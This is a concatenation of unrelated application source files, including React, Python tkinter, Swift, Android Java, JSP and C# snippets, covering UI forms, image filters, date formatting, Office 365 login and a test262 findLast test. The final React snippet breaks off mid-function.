const initialProgressData: ProgressData = {
sustainability: {
name: 'sustainability',
completed: false,
description: 'Tag 1',
hint: 'Did you check below the solar panels?',
icon: sustainIcon
},
history: {
name:'history',
completed: false,
description: 'Tag 2',
hint: 'Did you look by the books?',
icon: historyIcon
},
geology: {
name: 'geology',
completed: false,
description: 'Tag 3',
hint: 'Did you take a picture of the landscape?',
icon: geologyIcon
},
astronomy: {
name: 'astronomy',
completed: false,
description: 'Tag 4',
hint: 'Did you check the classroom?',
icon: astronomyIcon
}
}
export const ProgressDataContext = createContext<{
progressData: ProgressData | null,
setProgressData: Dispatch<SetStateAction<ProgressData>>
}>({
progressData: {} as ProgressData,
setProgressData: {} as Dispatch<SetStateAction<ProgressData>>
})
export const ProgressDataProvider = ({ children }) => {
const [progressData, setProgressData] = useState<ProgressData | null>(null)
useEffect(() => {
const data: string | null = localStorage.getItem('progressData')
if (data === null) {
//if the localstorage item progressData does not exist, add it
localStorage.setItem('progressData', JSON.stringify(initialProgressData))
setProgressData(initialProgressData)
} else {
//if the localstorage item progressData does exist, set the state variable to that value
setProgressData(JSON.parse(data))
}
}, [])
useEffect(() => {
// when the state variable changes, this useEffect hook is fired. Keeps the localstorage in sync with progressData state variable
if (progressData !== null) {
localStorage.setItem('progressData', JSON.stringify(progressData))
}
}, [progressData])
return (
<ProgressDataContext.Provider value={{progressData, setProgressData}}>
{children}
</ProgressDataContext.Provider>
)
} |
<#@ template language="C#" inherits="TypeScriptTemplateBase<object>" #>
<#@ assembly name="System.Core" #>
<#@ import namespace="System.Collections.Generic" #>
<#@ import namespace="System.Linq" #>
<#@ import namespace="Intent.Modules.Common" #>
<#@ import namespace="Intent.Modules.Common.Templates" #>
<#@ import namespace="Intent.Modules.Common.TypeScript.Templates" #>
<#@ import namespace="Intent.Templates" #>
<#@ import namespace="Intent.Metadata.Models" #>
import { NestFactory } from '@nestjs/core';
import { DocumentBuilder, SwaggerModule } from '@nestjs/swagger';
async function bootstrap() {
const app = await NestFactory.create(<#= AppModuleClass #><#= GetApplicationOptions() #>);<#= GetGlobalPipes() #>
const config = new DocumentBuilder()
.setTitle('<#= OutputTarget.Application.Name #>')
.setDescription('<#= OutputTarget.Application.Description #>')
.setVersion('1.0')
<# foreach (var option in _swaggerDocumentBuilderOptions) { #>
<#= option #>
<# } #>
.build();
const document = SwaggerModule.createDocument(app, config);
SwaggerModule.setup('swagger', app, document);
await app.listen(3000);
}
bootstrap(); |
import tkinter as tk, tkinter.filedialog
from PIL import ImageTk, Image
import numpy as np
import cv2 as cv
from sklearn.cluster import KMeans
import os
import shutil
"""
TODO:
1. Thresholding
2. Fourier Filtering
3. Image Stacking
used this for writing the oop code
https://stackoverflow.com/questions/7546050/switch-between-two-frames-in-tkinter
"""
filepath = "C:\\Users\\Pranav\\Downloads\\1_phase.jpg"
DEFAULT_BUTTON_WIDTH = 20
DEFAULT_BUTTON_HEIGHT = 10
# HELPER
def save_image(self):
file_path = tkinter.filedialog.asksaveasfilename(
defaultextension=".jpg", filetypes=(("JPG file", "*.jpg"), ("All Files", "*.*"))
)
if not file_path:
return
self.image.save(file_path)
def upload_image(self):
file_path = tkinter.filedialog.askopenfilename()
if file_path:
try:
with open(file_path, "rb") as f:
self.image = Image.open(f)
tk_img = ImageTk.PhotoImage(self.image)
except IOError:
print("Unable to open image file:", file_path)
except Exception as e:
print("An error occurred:", e)
self.img_label.configure(image=tk_img)
self.img_label.image = tk_img
class SampleApp(tk.Tk):
def __init__(self, *args, **kwargs):
tk.Tk.__init__(self, *args, **kwargs)
# the container is where we'll stack a bunch of frames
# on top of each other, then the one we want visible
# will be raised above the others
container = tk.Frame(self)
container.pack(side="top", fill="both", expand=True)
container.grid_rowconfigure(0, weight=1)
container.grid_columnconfigure(0, weight=1)
# self.geometry("600x600")
self.frames = {}
for F in (StartPage, Canny, KMs, AT):
page_name = F.__name__
frame = F(parent=container, controller=self)
self.frames[page_name] = frame
# put all of the pages in the same location;
# the one on the top of the stacking order
# will be the one that is visible.
frame.grid(row=0, column=0, sticky="nsew")
self.show_frame("StartPage")
def show_frame(self, page_name):
"""Show a frame for the given page name"""
frame = self.frames[page_name]
frame.tkraise()
class StartPage(tk.Frame):
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
label = tk.Label(self, text="Menu")
to_canny = tk.Button(
self, text="Canny", command=lambda: controller.show_frame("Canny")
)
to_kmeans = tk.Button(
self, text="K-Means", command=lambda: controller.show_frame("KMs")
)
to_at = tk.Button(
self, text="Adaptive Threshold", command=lambda: controller.show_frame("AT")
)
label.grid(row=0, column=0, sticky="nsew")
to_canny.grid(row=1, column=0, sticky="nsew")
to_kmeans.grid(row=2, column=0, sticky="nsew")
to_at.grid(row=3, column=0, sticky='nsew')
class AT(tk.Frame):
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.up = 1
self.down = 1
label = tk.Label(self, text="Adaptive Thresholding")
self.image = Image.open(filepath)
self.tk_img = ImageTk.PhotoImage(self.image)
self.img_label = tk.Label(self, image=self.tk_img)
thres_1 = tk.Scale(
self,
label="Local Region Size",
from_=1,
to=255,
orient=tk.HORIZONTAL,
length=200,
showvalue=1,
command=self._size,
)
# thres_2 = tk.Scale(
# self,
# label="Consant",
# from_=-20,
# to=20,
# orient=tk.HORIZONTAL,
# length=200,
# showvalue=1,
# command=self._const,
# )
save_button = tk.Button(self, text="Save", command=lambda: save_image(self))
upload_button = tk.Button(
self, text="Upload", command=lambda: upload_image(self)
)
to_menu = tk.Button(
self, text="Menu", command=lambda: controller.show_frame("StartPage")
)
self.img_label.grid(row=0, column=0, rowspan=3, columnspan=3, sticky="nesw")
to_menu.grid(row=3, column=0, sticky="nesw")
thres_1.grid(row=4,column = 0, columnspan=3)
# thres_2.grid(row=5,column = 0, columnspan=3)
label.grid(row=7, column=1, sticky="nesw")
save_button.grid(row=3, column=1, sticky="nesw")
upload_button.grid(row=3, column=2, sticky="nsew")
def _size(self, v):
v = int(v)
if (v%2 == 0):
v -= 1
self.up = v
self.thres_wrap()
def _const(self, v):
self.down = v
self.thres_wrap()
def thres_wrap(self):
_, t = cv.threshold(cv.cvtColor(np.array(self.image), cv.COLOR_BGR2GRAY), self.up, 255,cv.THRESH_BINARY)
cv.imshow('Adaptive Threshold', t)
class Canny(tk.Frame):
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.down = 0
self.up = 0
label = tk.Label(self, text="Canny")
self.image = Image.open(filepath)
self.tk_img = ImageTk.PhotoImage(self.image)
self.img_label = tk.Label(self, image=self.tk_img)
self.test_label = tk.Label(self, bg="white", fg="black", width=20, text="")
low_thres = tk.Scale(
self,
label="Lower Threshold",
from_=0,
to=255,
orient=tk.HORIZONTAL,
length=200,
showvalue=0,
command=self.slider_output_low,
)
up_thres = tk.Scale(
self,
label="Upper Threshold",
from_=0,
to=255,
orient=tk.HORIZONTAL,
length=200,
showvalue=0,
command=self.slider_output_up,
)
save_button = tk.Button(self, text="Save", command=lambda: save_image(self))
upload_button = tk.Button(
self, text="Upload", command=lambda: upload_image(self)
)
to_menu = tk.Button(
self, text="Menu", command=lambda: controller.show_frame("StartPage")
)
self.img_label.grid(row=0, column=0, rowspan=3, columnspan=3, sticky="nesw")
to_menu.grid(row=3, column=0, sticky="nesw")
self.test_label.grid(row=6,column = 0, columnspan=3)
up_thres.grid(row=4,column = 0, columnspan=3)
low_thres.grid(row=5,column = 0, columnspan=3)
label.grid(row=7, column=1, sticky="nesw")
save_button.grid(row=3, column=1, sticky="nesw")
upload_button.grid(row=3, column=2, sticky="nsew")
def slider_output_low(self, v):
self.down = v
self.canny_wrapper()
def slider_output_up(self, v):
self.up = v
self.canny_wrapper()
def canny_wrapper(self):
edge = cv.Canny(image=np.array(self.image), threshold1=int(self.down),threshold2=int(self.up), apertureSize=3)
cv.imshow('Canny Filtered', edge)
class KMs(tk.Frame):
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
label = tk.Label(self, text="K-Means")
self.image = Image.open(filepath)
self.tk_img = ImageTk.PhotoImage(self.image)
self.img_label = tk.Label(self, image=self.tk_img)
denoise_button = tk.Button(
self, text="Non-Local Means+K-Means", command=self.denoise
)
to_menu = tk.Button(
self,
text="Back to Menu",
command=lambda: controller.show_frame("StartPage"),
)
save_button = tk.Button(self, text="Save", command=lambda: save_image(self))
upload_button = tk.Button(
self, text="Upload Image", command=lambda: upload_image(self)
)
self.img_label.grid(row=0, column=0, rowspan=3, columnspan=3, sticky="nesw")
to_menu.grid(row=3, column=0, sticky="nesw")
save_button.grid(row=3, column=1, sticky="nesw")
denoise_button.grid(row=3, column=2, sticky="nesw")
upload_button.grid(row=4, column=1, sticky="nsew")
label.grid(row=5, column=1, sticky="nesw")
def denoise(self):
im_array = cv.fastNlMeansDenoisingColored(
np.array(self.image), None, 5, 5, 3, 10
)
im_array_copy = im_array.copy()
# what are the parameters in the above denoising thing
w, h = self.image.size
pix_val = list((Image.fromarray(im_array)).getdata())
channels = 3
pix_val = np.array(pix_val).reshape((w, h, channels))
clt = KMeans(n_clusters=5) # currently arbitrary
clt.fit(im_array_copy.reshape(-1, 3))
mini = [
i
for i in clt.cluster_centers_
if (i.sum() == np.min([i.sum() for i in clt.cluster_centers_]))
][0]
maxi = [
i
for i in clt.cluster_centers_
if (i.sum() == np.max([i.sum() for i in clt.cluster_centers_]))
][0]
for y in range(0, h):
for x in range(0, w):
pix_arr = pix_val[x, y]
r = pix_arr[0]
g = pix_arr[1]
b = pix_arr[2]
delta = 12
if (
((mini[0] - delta) <= r <= (mini[0] + delta))
or ((mini[1] - delta) <= g <= (mini[1] + delta))
or ((mini[2] - delta) <= b <= (mini[2] + delta))
):
pix_val[x, y] = [222, 131, 45]
if (
((maxi[0] - delta) <= r <= (maxi[0] + delta))
or ((maxi[1] - delta) <= g <= (maxi[1] + delta))
or ((maxi[2] - delta) <= b <= (maxi[2] + delta))
):
pix_val[x, y] = [235, 168, 75]
self.image = Image.fromarray(pix_val.astype("uint8"), "RGB")
tk_img2 = ImageTk.PhotoImage(self.image)
self.img_label.configure(image=tk_img2)
self.img_label.image = tk_img2
def main():
app = SampleApp()
app.mainloop()
if __name__ == "__main__":
main() |
//
// CurrencyFormatter.swift
// MC2-United-Hands
//
// Created by Priskilla Adriani on 26/06/23.
//
import Foundation
extension Formatter {
//xxx.xxx.xxx
static let currencyFormatter: NumberFormatter = {
let formatter = NumberFormatter()
formatter.numberStyle = .decimal
formatter.locale = Locale(identifier: "id_ID")
formatter.groupingSeparator = "."
return formatter
}()
// June 2023
static let monthFormatter: DateFormatter = {
let formatter = DateFormatter()
formatter.dateFormat = "MMMM yyyy"
return formatter
}()
// 10.52 PM
static let timeFormatter: DateFormatter = {
let formatter = DateFormatter()
formatter.dateFormat = "hh.mm a"
return formatter
}()
// Jun 26 - Jul 2, 2023
static let dateInterval: DateIntervalFormatter = {
let formatter = DateIntervalFormatter()
formatter.dateTemplate = "dd MMM yyyy"
return formatter
}()
// January 16, 2023
static let dateFormatter: DateFormatter = {
let formatter = DateFormatter()
formatter.dateFormat = "EEEE, dd yyyy"
return formatter
}()
// Tuesday, 27 June, 2023
static let dayFormatter : DateFormatter = {
let formatter = DateFormatter()
formatter.dateFormat = "EEEE, dd MMMM, YYYY"
return formatter
}()
// 6/25/23, 10:52:25 PM
static let itemFormatter: DateFormatter = {
let formatter = DateFormatter()
formatter.dateStyle = .short
formatter.timeStyle = .medium
return formatter
}()
static let stringToDateFormatter: DateFormatter = {
let formatter = DateFormatter()
formatter.dateFormat = "dd MMMM yyyy"
return formatter
}()
} |
package com.example.jazaronline;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Color;
import android.graphics.drawable.ColorDrawable;
import android.os.Bundle;
import androidx.annotation.Nullable;
import androidx.fragment.app.Fragment;
import android.util.Base64;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.TextView;
import com.android.volley.Request;
import com.android.volley.toolbox.StringRequest;
import com.example.jazaronline.customs.ConfirmationDialogBox;
import com.example.jazaronline.tools.SnackBarMaker;
import com.example.jazaronline.utils.Region;
import com.example.jazaronline.utils.RequestHandler;
import com.example.jazaronline.utils.SharedPreferencesManager;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.HashMap;
import java.util.Map;
public class ClientProfileFragment extends Fragment {
public static final int EDIT_PROFILE_REQ_CODE = 1;
public static final int EDIT_PROFILE_RES_CODE = 1;
public static final int CHANGE_PASS_REQ_CODE = 2;
public static final int CHANGE_PASS_RES_CODE = 2;
private Button edit_btn, logout_btn;
private TextView fullName_tv, phone_tv, region_tv, changePass_tv;
private ImageView picture_iv;
public ClientProfileFragment() {
// Required empty public constructor
}
public static ClientProfileFragment newInstance() {
return new ClientProfileFragment();
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// Inflate the layout for this fragment
View view = inflater.inflate(R.layout.fragment_client_profile, container, false);
logout_btn = view.findViewById(R.id.clientProfile_btn_logout);
edit_btn = view.findViewById(R.id.clientProfile_btn_edit);
changePass_tv = view.findViewById(R.id.clientProfile_tv_changePassword);
fullName_tv = view.findViewById(R.id.clientProfile_tv_fullName);
region_tv = view.findViewById(R.id.clientProfile_tv_region);
phone_tv = view.findViewById(R.id.clientProfile_tv_phone);
picture_iv = view.findViewById(R.id.clientProfile_iv_picture);
updateUI();
downloadClientPicture();
logout_btn.setOnClickListener(view1 -> showLogoutDialogBox());
edit_btn.setOnClickListener(view12 -> {
Intent intent = new Intent(requireContext(), ClientEditProfileActivity.class);
startActivityForResult(intent, EDIT_PROFILE_REQ_CODE);
});
changePass_tv.setOnClickListener(view13 -> {
Intent intent = new Intent(requireContext(), ClientChangePasswordActivity.class);
startActivityForResult(intent, CHANGE_PASS_REQ_CODE);
});
return view;
}
private void updateUI() {
String firstName = SharedPreferencesManager.getInstance(requireContext()).getClientFirstName();
String lastName = SharedPreferencesManager.getInstance(requireContext()).getClientLastName();
String fullName = firstName + " " + lastName;
int region = SharedPreferencesManager.getInstance(requireContext()).getClientRegion();
String phone = SharedPreferencesManager.getInstance(requireContext()).getClientPhone();
fullName_tv.setText(fullName);
region_tv.setText(Region.getRegionById(requireContext(),region).getName());
phone_tv.setText(phone);
}
private void downloadClientPicture() {
StringRequest pictureRequest = new StringRequest(Request.Method.POST,
RequestHandler.URL_DOWNLOAD_CLIENT_PICTURE,
response -> {
try {
JSONObject jsonObject = new JSONObject(response);
if(!jsonObject.getBoolean("error")){
String encodedImage = jsonObject.getString("picture");
byte[] byteArray = Base64.decode(encodedImage, Base64.DEFAULT);
Bitmap bitmap = BitmapFactory.decodeByteArray(byteArray, 0, byteArray.length);
if(bitmap != null){
picture_iv.setImageBitmap(bitmap);
}
}
} catch (JSONException e) {
e.printStackTrace();
}
},
error -> {
// goto connexion failed activity
Intent intent = new Intent(requireContext(), ConnectionFailedActivity.class);
startActivity(intent);
requireActivity().finish();
}) {
@Override
protected Map<String, String> getParams() {
Map<String, String> params = new HashMap<>();
params.put("clientId", String.valueOf(SharedPreferencesManager.
getInstance(requireContext()).getClientId()));
return params;
}
};
RequestHandler.getInstance(requireContext()).addToRequestQueue(pictureRequest);
}
public void showLogoutDialogBox(){
ConfirmationDialogBox dialogBox = new ConfirmationDialogBox(requireContext());
dialogBox.setDialogImage(R.drawable.ic_help).setDialogMessage(R.string.dialog_box_message_log_out)
.setDialogPositiveButton(R.string.dialog_box_logOut, view -> {
SharedPreferencesManager.getInstance(requireContext()).logoutClient();
Intent intent = new Intent(getActivity(), SignInActivity.class);
startActivity(intent);
dialogBox.dismiss();
requireActivity().finish();
}).setDialogNegativeButton(R.string.dialog_box_cancel, view -> dialogBox.dismiss());
dialogBox.getWindow().setBackgroundDrawable(new ColorDrawable(Color.TRANSPARENT));
dialogBox.show();
}
@Override
public void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if(requestCode == EDIT_PROFILE_REQ_CODE && resultCode == EDIT_PROFILE_RES_CODE){
// show snack bar
SnackBarMaker.showSnackBarMessage(requireActivity(), R.id.clientProfile_btn_edit,
getText(R.string.snackBarText_clientProfileEdited).toString(),
R.color.green, R.color.bone);
updateUI();
downloadClientPicture();
}else if(requestCode == CHANGE_PASS_REQ_CODE && resultCode == CHANGE_PASS_RES_CODE){
SnackBarMaker.showSnackBarMessage(requireActivity(), R.id.clientProfile_btn_edit,
getText(R.string.snackBarText_clientPasswordChanged).toString(),
R.color.green, R.color.bone);
}
}
} |
import React, { Component } from 'react';
import { observer } from "mobx-react";
import { Form, Row, Col, Button, Select, Input } from 'antd';
import { formItemLayout, createFormField } from 'ADMIN_UTILS/searchFormUtil';
import { selectInputSearch } from 'ADMIN_UTILS';
const FormItem = Form.Item;
const Option = Select.Option;
@observer
class SearchForm extends Component {
startQuery = (e) => {
e.preventDefault();
this.props.form.validateFields((err) => {
if (err) {
return;
}
const { startQuery, resetPageCurrent } = this.props;
resetPageCurrent();
startQuery();
});
}
render() {
const { form: { getFieldDecorator }, resetForm, companyList, laborList } = this.props;
return (
<Form onSubmit={this.startQuery}>
<Row gutter={15} type="flex" justify="start">
<Col span={5}>
<FormItem {...formItemLayout} label='企业'>
{getFieldDecorator('EntId')(
<Select
allowClear={true}
placeholder='请选择'
filterOption={selectInputSearch}
optionFilterProp="children"
showSearch>
{
companyList.map((value) => <Option key={value.EntId} value={value.EntId}>{value.EntShortName}</Option>)
}
</Select>
)}
</FormItem>
</Col>
<Col span={5}>
<FormItem {...formItemLayout} label='劳务'>
{getFieldDecorator('TrgtSpId')(
<Select
allowClear={true}
placeholder='请选择'
filterOption={selectInputSearch}
optionFilterProp="children"
showSearch>
{
laborList.map((value) => <Option key={value.SpId} value={value.SpId}>{value.SpShortName}</Option>)
}
</Select>
)}
</FormItem>
</Col>
<Col span={5}>
<FormItem {...formItemLayout} label='开票类型'>
{getFieldDecorator('InvoiceTyp')(
<Select>
<Option value={-9999}>全部</Option>
<Option value={1}>普票</Option>
<Option value={2}>专票</Option>
</Select>
)}
</FormItem>
</Col>
<Col span={5}>
<FormItem {...formItemLayout} label='审核状态'>
{getFieldDecorator('AuditSts')(
<Select>
<Option value={-9999}>全部</Option>
<Option value={1}>待审核</Option>
<Option value={2}>审核通过</Option>
<Option value={3}>审核不通过</Option>
</Select>
)}
</FormItem>
</Col>
<Col span={4} className='text-right' >
<FormItem label=''>
<Button onClick={resetForm}>重置</Button>
<Button type='primary' htmlType='submit' className='ml-8'>查询</Button>
</FormItem>
</Col>
</Row>
</Form>
);
}
}
SearchForm = Form.create({
mapPropsToFields: props => (createFormField(props.searchValue)),
onValuesChange: (props, changedValues, allValues) => (props.handleFormValuesChange(allValues))
})(SearchForm);
export default SearchForm; |
// Copyright (C) 2021 Microsoft. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/*---
esid: sec-array.prototype.findlast
description: >
Predicate called as F.call( thisArg, kValue, k, O ) for each array entry.
info: |
Array.prototype.findLast ( predicate[ , thisArg ] )
...
4. Let k be len - 1.
5. Repeat, while k ≥ 0,
...
c. Let testResult be ! ToBoolean(? Call(predicate, thisArg, « kValue, 𝔽(k), O »)).
d. If testResult is true, return kValue.
...
features: [array-find-from-last]
---*/
var arr = ['Mike', 'Rick', 'Leo'];
var results = [];
arr.findLast(function() {
results.push(arguments);
});
assert.sameValue(results.length, 3);
var result = results[0];
assert.sameValue(result[0], 'Leo');
assert.sameValue(result[1], 2);
assert.sameValue(result[2], arr);
assert.sameValue(result.length, 3);
result = results[1];
assert.sameValue(result[0], 'Rick');
assert.sameValue(result[1], 1);
assert.sameValue(result[2], arr);
assert.sameValue(result.length, 3);
result = results[2];
assert.sameValue(result[0], 'Mike');
assert.sameValue(result[1], 0);
assert.sameValue(result[2], arr);
assert.sameValue(result.length, 3); |
//
// ViewController.swift
// MSAL-Office365-Login
//
// Created by EOO61 on 19/07/21.
//
import UIKit
import MSAL
class ViewController: UIViewController {
// Update the below to your client ID you received in the portal. The below is for running the demo only
let kClientID = "66855f8a-60cd-445e-a9bb-8cd8eadbd3fa"
let kGraphEndpoint = "https://graph.microsoft.com/"
let kAuthority = "https://login.microsoftonline.com/common"
let kRedirectUri = "msauth.com.microsoft.identitysample.MSALiOS://auth"
let kScopes: [String] = ["user.read"]
var accessToken = String()
var applicationContext : MSALPublicClientApplication?
var webViewParamaters : MSALWebviewParameters?
var loggingText: UITextView!
var signOutButton: UIButton!
var callGraphButton: UIButton!
var usernameLabel: UILabel!
var currentAccount: MSALAccount?
@IBOutlet weak var updateLogging: UILabel!
typealias AccountCompletion = (MSALAccount?) -> Void
@IBOutlet weak var nameLabel: UILabel!
@IBOutlet weak var emailLabel: UILabel!
override func viewDidLoad() {
super.viewDidLoad()
// Do any additional setup after loading the view.
do {
try self.initMSAL()
} catch let error {
updateLogging.text = "Unable to create Application Context \(error)"
print("Erro: \(error)")
}
}
func initMSAL() throws {
guard let authorityURL = URL(string: kAuthority) else {
updateLogging.text = "Unable to create authority URL"
return
}
let authority = try MSALAADAuthority(url: authorityURL)
let msalConfiguration = MSALPublicClientApplicationConfig(clientId: kClientID,
redirectUri: kRedirectUri,
authority: authority)
self.applicationContext = try MSALPublicClientApplication(configuration: msalConfiguration)
self.initWebViewParams()
}
func initWebViewParams() {
self.webViewParamaters = MSALWebviewParameters(authPresentationViewController: self)
}
@IBAction func loginWithOffice365(_ sender: Any) {
// We check to see if we have a current logged in account.
// If we don't, then we need to sign someone in.
self.acquireTokenInteractively()
}
func acquireTokenInteractively() {
guard let applicationContext = self.applicationContext else { return }
guard let webViewParameters = self.webViewParamaters else { return }
let parameters = MSALInteractiveTokenParameters(scopes: kScopes, webviewParameters: webViewParameters)
parameters.promptType = .selectAccount
applicationContext.acquireToken(with: parameters) { (result, error) in
if let error = error {
self.updateLogging.text = "Could not acquire token: \(error)"
return
}
guard let result = result else {
self.updateLogging.text = "Could not acquire token: No result returned"
return
}
self.accessToken = result.accessToken
self.updateLogging.text = "Access token is \(self.accessToken)"
self.updateCurrentAccount(account: result.account)
self.getContentWithToken()
}
}
func updateCurrentAccount(account: MSALAccount?) {
self.currentAccount = account
//self.updateAccountLabel()
//self.updateSignOutButton(enabled: account != nil)
}
func acquireTokenSilently(_ account : MSALAccount!) {
guard let applicationContext = self.applicationContext else { return }
/**
Acquire a token for an existing account silently
- forScopes: Permissions you want included in the access token received
in the result in the completionBlock. Not all scopes are
guaranteed to be included in the access token returned.
- account: An account object that we retrieved from the application object before that the
authentication flow will be locked down to.
- completionBlock: The completion block that will be called when the authentication
flow completes, or encounters an error.
*/
let parameters = MSALSilentTokenParameters(scopes: kScopes, account: account)
applicationContext.acquireTokenSilent(with: parameters) { (result, error) in
if let error = error {
let nsError = error as NSError
// interactionRequired means we need to ask the user to sign-in. This usually happens
// when the user's Refresh Token is expired or if the user has changed their password
// among other possible reasons.
if (nsError.domain == MSALErrorDomain) {
if (nsError.code == MSALError.interactionRequired.rawValue) {
DispatchQueue.main.async {
self.acquireTokenInteractively()
}
return
}
}
self.loggingText.text = "Could not acquire token silently: \(error)"
return
}
guard let result = result else {
self.loggingText.text = "Could not acquire token: No result returned"
return
}
self.accessToken = result.accessToken
self.loggingText.text = "Refreshed Access token is \(self.accessToken)"
//self.updateSignOutButton(enabled: true)
self.getContentWithToken()
}
}
func getContentWithToken() {
// Specify the Graph API endpoint
let graphURI = getGraphEndpoint()
let url = URL(string: graphURI)
var request = URLRequest(url: url!)
// Set the Authorization header for the request. We use Bearer tokens, so we specify Bearer + the token we got from the result
request.setValue("Bearer \(self.accessToken)", forHTTPHeaderField: "Authorization")
URLSession.shared.dataTask(with: request) { data, response, error in
if let error = error {
self.updateLogging.text = "Couldn't get graph result: \(error)"
return
}
guard let result = try? JSONSerialization.jsonObject(with: data!, options: []) else {
self.updateLogging.text = "Couldn't deserialize result JSON"
return
}
DispatchQueue.main.async {
self.updateLogging.text = "Result from Graph: \(result))"
guard let resultNew = result as? [String:Any] else {
return
}
let email = resultNew["mail"] as! String
print("Email is: \(email)")
let name = resultNew["displayName"] as! String
print("name is: \(name)")
self.nameLabel.text = name
self.emailLabel.text = email
}
}.resume()
}
func getGraphEndpoint() -> String {
return kGraphEndpoint.hasSuffix("/") ? (kGraphEndpoint + "v1.0/me/") : (kGraphEndpoint + "/v1.0/me/");
}
@IBAction func logOutButtonClicked(_ sender: Any) {
guard let applicationContext = self.applicationContext else { return }
guard let account = self.currentAccount else { return }
do {
/**
Removes all tokens from the cache for this application for the provided account
- account: The account to remove from the cache
*/
let signoutParameters = MSALSignoutParameters(webviewParameters: self.webViewParamaters!)
signoutParameters.signoutFromBrowser = false
applicationContext.signout(with: account, signoutParameters: signoutParameters, completionBlock: {(success, error) in
if let error = error {
self.updateLogging.text = "Couldn't sign out account with error: \(error)"
return
}
self.updateLogging.text = "Sign out completed successfully"
self.accessToken = ""
self.updateCurrentAccount(account: nil)
})
}
}
} |
using System;
namespace Fundamentals
{
public class LongestSubstring
{
public static void run()
{
Console.WriteLine("\nInforme a string que deseja analisar: ");
string s = Console.ReadLine().ToLower();
int n = s.Length, maxLength = 0, left = 0;
Dictionary<char, int> charIndexMap = new Dictionary<char, int>();
for (int right = 0; right < n; right++)
{
if (charIndexMap.ContainsKey(s[right]) && charIndexMap[s[right]] >= left)
{
left = charIndexMap[s[right]] + 1;
}
charIndexMap[s[right]] = right;
maxLength = Math.Max(maxLength, right - left + 1);
}
Console.WriteLine($"\nTamanho da maior substring sem caracteres repetidos: {maxLength}");
}
}
}
/*
Programming Problem: Longest Substring Without Repeating Characters
Given a string, find the length of the longest substring without repeating characters.
Solução:
- Abordagem de slide window para encontrar a subsequência mais longa sem
caracteres repetidos
- Há dois ponteiros, left e right, que definem a substring atual
- O dicionário charIndexMap é usado para armazenar o índice da última
ocorrência de cada caractere na string
- Conforme iteramos pela string da esquerda para a direita, se encontrarmos
um caractere repetido (ou seja, um que já esteja na substring entre left e
right), atualizamos o valor de left para o próximo índice do caractere
repetido, garantindo assim que tenhamos uma nova substring sem caracteres
repetidos
- Atualizamos o dicionário charIndexMap e calculamos o comprimento da
substring atual, mantendo um registro do comprimento máximo encontrado
até o momento
- Complexidade de tempo de O(n), porque faz uma única passagem pela
string de entrada, e as operações do dicionário (inserção e busca) têm
uma complexidade média de O(1), encontrando eficientemente o comprimento
da substring mais longa sem caracteres repetidos
*/ |
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Edit Test</title>
</head>
<body>
<%@ page import="rs.ac.metropolitan.eLearning.database.dao.TestDAO" %>
<%@ page import="rs.ac.metropolitan.eLearning.entity.Test" %>
<%@ page import="rs.ac.metropolitan.eLearning.database.dao.QuestionDAO" %>
<%@ page import="rs.ac.metropolitan.eLearning.entity.Question" %>
<%@ page import="rs.ac.metropolitan.eLearning.database.dao.UserDAO" %>
<%@ page import="rs.ac.metropolitan.eLearning.entity.User" %>
<%@ page import="java.util.List" %>
<%@ include file="header.jsp" %>
<%
TestDAO testDAO = new TestDAO();
String testId = request.getParameter("id");
Test t = testDAO.find(Integer.parseInt(testId));
QuestionDAO questionDAO = new QuestionDAO();
List<Question> questions = questionDAO.findAll();
request.setAttribute("questions", questions);
UserDAO userDAO = new UserDAO();
List<User> users = userDAO.findAll();
request.setAttribute("users", users);
request.setAttribute("test", t);
%>
<form action="${pageContext.request.contextPath}/edit-test" method="post">
<input type="hidden" name="id" value="<%=t.getId() %>"/>
<h6>Title:</h6>
<input type="text" name="title" value="<%= t.getTitle()%>"/>
<h6>Date & Time:</h6>
<input type="text" name="dateTime" value="<%= t.getDateTime()%>"/>
<h6>Max points:</h6>
<input type="number" name="maxPoints" value="<%= t.getMaxPoints()%>"/>
<h6>Questions:</h6>
<div class="input-field col s12">
<select multiple name="questions">
<option value="" disabled>Choose your option</option>
<c:forEach items="${questions}" var="question">
<option ${test.questions.contains(question) ? 'selected' : ''} value="${question.id}">${question.text}</option>
</c:forEach>
</select>
</div>
<h6>Users:</h6>
<div class="input-field col s12">
<select multiple name="users">
<option value="" disabled>Choose your option</option>
<c:forEach items="${users}" var="user">
<option ${test.users.contains(user) ? 'selected' : ''}
value="${user.id}">${user.firstName} ${user.lastName}</option>
</c:forEach>
</select>
</div>
<button class="btn waves-effect waves-light blue" type="submit" name="action">Submit
<i class="material-icons right">send</i>
</button>
</form>
<script>
document.addEventListener('DOMContentLoaded', function () {
const elems = document.querySelectorAll('select');
const instances = M.FormSelect.init(elems, {});
});
</script>
</body>
<style>
input[type=text] {
width: 100px;
color: white;
}
input[type=number] {
color: white;
}
form {
width: 20%;
text-align: center;
margin-left: 40%;
margin-top: 8%;
}
body {
background-image: linear-gradient(to right, #2a4078, #4062b7);
}
h6 {
color: white;
}
</style>
</html> |
import React, { useState, useEffect } from 'react'
import axios from 'axios';
const App = () => {
const [prompt,setPrompt]=useState('')
const [story,setStory]=useState('')
const PromptShare=(event)=>{
event.preventDefault()
const data={key1:prompt}
fetch("http://127.0.0.1:8080/story",{
method: "POST",
headers: {
'Content-Type': 'application/json',
},
body:JSON.stringify(data.key1)
}).then( response=> response.text())
.then((data) => {
setStory(data);
})
.catch((error) => {
// Handle any errors
console.error('Error sending data:', error);
});
}
const downloadText = () => {
const text = story; // Get the content from the textarea
// Create a new Blob object with the text content
const blob = new Blob([text], { type: "text/plain" });
// Create a temporary <a> element and set its download attribute to specify the file name
const link = document.createElement("a");
link.href = URL.createObjectURL(blob);
